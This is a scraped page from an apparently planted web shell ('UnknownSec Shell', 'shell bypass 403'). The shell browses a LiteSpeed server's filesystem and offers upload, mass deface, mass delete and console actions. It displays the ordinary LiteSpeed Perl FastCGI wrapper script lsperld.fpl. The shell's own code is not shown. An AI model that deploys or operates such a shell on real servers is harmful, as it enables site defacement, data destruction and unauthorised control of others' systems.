shell bypass 403
UnknownSec Shell
:
/
proc
/
self
/
root
/
proc
/
thread-self
/
root
/
proc
/
thread-self
/
root
/
usr
/
local
/
lsws
/
fcgi-bin
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
lsperld.fpl
#!/usr/bin/perl use FCGI; #use strict; our %Cache; use Symbol qw(delete_package); *CORE::GLOBAL::exit = \&my_exit; sub my_exit { # warn "exit() was called"; } sub valid_package_name { my($string) = @_; $string =~ s/([^A-Za-z0-9\/])/sprintf('_%2x',unpack('C',$1))/eg; # second pass only for words starting with a digit $string =~ s|/(\d)|sprintf('/_%2x',unpack('C',$1))|eg; # Dress it up as a real package name $string =~ s|/|::|g; return 'LSPerld' . $string; } sub execute_file { my($__filename, $__delete) = @_; my $__package; my $__mtime; my $__path; my $__name; return 404 if ( ! -r $__filename || -z _ ); $__mtime = -M _; if(defined $Cache{$__filename}[3] && $Cache{$__filename}[3] <= $__mtime) { # we have compiled this subroutine already, # it has not been updated on disk, nothing left to do #print STDERR "already compiled $package->handler\n"; $__path = $Cache{$__filename}[0]; $__name = $Cache{$__filename}[1]; $__package = $Cache{$__filename}[2]; chdir( $__path ); } else { $__filename =~ /^(\/.*?)\/*([^\/]+)$/; $__path = $1; $__name = $2; chdir( $__path ); local *FH; open FH, $__filename or die "open '$__filename' $!"; local($/) = undef; my $__sub = <FH>; close FH; $__package = valid_package_name($__filename); #wrap the code into a subroutine inside our unique package my $__eval = qq{package $__package; use subs qw(exit); sub exit { } sub handler { local \$0='$__filename'; $__sub; }}; { # hide our variables within this block my($__filename,$__mtime,$__package,$__sub); eval $__eval; } if ( $@ ) { warn $@; return 500; } #cache it unless we're cleaning out each time if ( ! $__delete ) { #$Cache{$filename}{pkgname} = $package; #$Cache{$filename}{mtime} = $mtime; $Cache{$__filename} = [ $__path, $__name, $__package, $__mtime ]; } } $0=$__filename; @ARGV = ( $__name ); my $__QS = $ENV{'QUERY_STRING'}; if (( $__QS ne '')&&(index( $__QS, '=' ) == -1 )) { push( @ARGV, split( $__QS ) ); } eval {$__package->handler;}; delete_package($__package) if $__delete; return 0; #take a look if you want #print Devel::Symdump->rnew($package)->as_string, $/; } my $req = FCGI::Request(); my $count = 0; my $ret; my $max_req = -1; if ( $ENV{'FCGI_PERL_MAX_REQ'} eq '' ) { $max_req = 500; } else { $max_req = int($ENV{'FCGI_PERL_MAX_REQ'}); } while($req->Accept() >= 0) { my $filename = $ENV{'SCRIPT_FILENAME'}; # Make it looks like ActiveState's PerlEx, otherwise CGI.pm won't reset # request parameters $ENV{'GATEWAY_INTERFACE'} = 'CGI-PerlEx/1.1'; if ( $filename ne '' ) { $ret = execute_file( $filename, 0 ); ++$count; if ( $ret ) { if ( $ret == 404 ) { print( "Status: 404\r\nContent-type: text/plain\r\n\r\n", "ERROR: file not find: \'$filename\'!\n" ); } elsif ( $ret == 500 ) { print( "Status: 500\r\nContent-type: text/plain\r\n\r\n", "ERROR: \'$filename\' is not a valid Perl script!\n" ); } } } else { print( "Content-type: text/plain\r\n\r\n", "ERROR: missing environment variable \'SCRIPT_FILENAME\'!\n" ); } $req->Finish(); last if ( ( $max_req != 0 )&&( $count >= $max_req ) ); }
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